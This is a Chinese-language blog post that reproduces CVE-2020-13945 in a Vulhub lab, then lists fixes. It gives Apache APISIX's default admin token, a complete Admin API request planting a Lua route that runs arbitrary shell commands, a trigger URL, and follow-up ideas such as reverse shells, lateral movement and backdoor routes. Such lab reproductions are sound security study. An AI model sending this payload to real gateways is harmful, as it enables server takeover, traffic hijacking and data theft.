漏洞复现 - Apache APISIX 默认 Token RCE 漏洞 (CVE-2020-13945)

本文最后更新于 2025年7月14日 下午

🗂️ 简介

Apache APISIX 是一款云原生高性能 API 网关和微服务代理,广泛应用于企业网关、API 管理、负载均衡、动态路由等场景。

CVE-2020-13945 漏洞的核心点在于:

  • 默认情况下,APISIX 管理端(Admin API)使用默认配置文件中的 Token(edd1c9f034335f136f87ad84b625c8f1)作为管理员认证凭证。
  • 如果用户未更改 Token,攻击者可直接使用该默认 Token 访问管理 API。
  • 管理 API 提供了通过 script 参数注入 Lua 脚本的功能,攻击者可插入恶意 Lua 代码,执行任意系统命令,进而远程控制服务器。

🔥 危害极大:未授权 RCE,拿下整个网关后可进行流量劫持、横向移动等攻击。


⚙️ 漏洞环境搭建

这里使用 Vulhub 快速拉起测试环境:

1
2
cd vulhub-master/apisix/CVE-2020-13945
docker-compose up

环境启动后,访问:

可看到默认 404 页面,说明服务已启动成功。


🚩 漏洞复现

📌 1. 添加恶意路由

使用默认管理员 Token,调用 Admin API 新增一个带有恶意 Lua 脚本的路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /apisix/admin/routes HTTP/1.1
Host: 192.168.199.132:9080
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json

{
"uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
"upstream": {
"type": "roundrobin",
"nodes": {
"example.com:80": 1
}
}
}

如图所示:

image-20250714123543094


📌 2. 访问恶意路由触发 RCE

此时访问:

1
http://192.168.199.132:9080/attack?cmd=id

即可看到返回结果,表示命令执行成功:

image-20250714123558214

此时可执行任意系统命令,如 idwhoamiuname -acurl 等。


🕵️‍♂️ 后续渗透思路

  • 📌 获取权限:可进一步执行反弹 Shell 命令,获取持久交互式 Shell。
  • 📌 横向渗透:查看 APISIX 所部署的宿主机,获取更多 API 配置或凭证信息,尝试在内网横向。
  • 📌 流量劫持:在网关层可注入恶意脚本修改流量、劫持请求、记录敏感数据。
  • 📌 后门植入:保留恶意路由或修改网关插件,实现长时间驻留。

🛡️ 修复与缓解

官方建议:

  1. 修改默认 Token:在 config.yaml 中更改 admin_key,使用强随机值,并重启服务。
  2. 最小化暴露:使用防火墙或代理,仅允许可信 IP 访问 Admin API(默认监听在 127.0.0.1,不要暴露在公网)。
  3. 及时更新:升级至官方已修复版本,避免脚本注入风险。
  4. 访问审计:定期审计路由配置及日志,排查可疑脚本或未知路由。

⚠️ 参考链接


🚨 总结:这是一个典型的配置失误引发的远程命令执行案例,提醒大家部署生产环境务必修改默认凭证!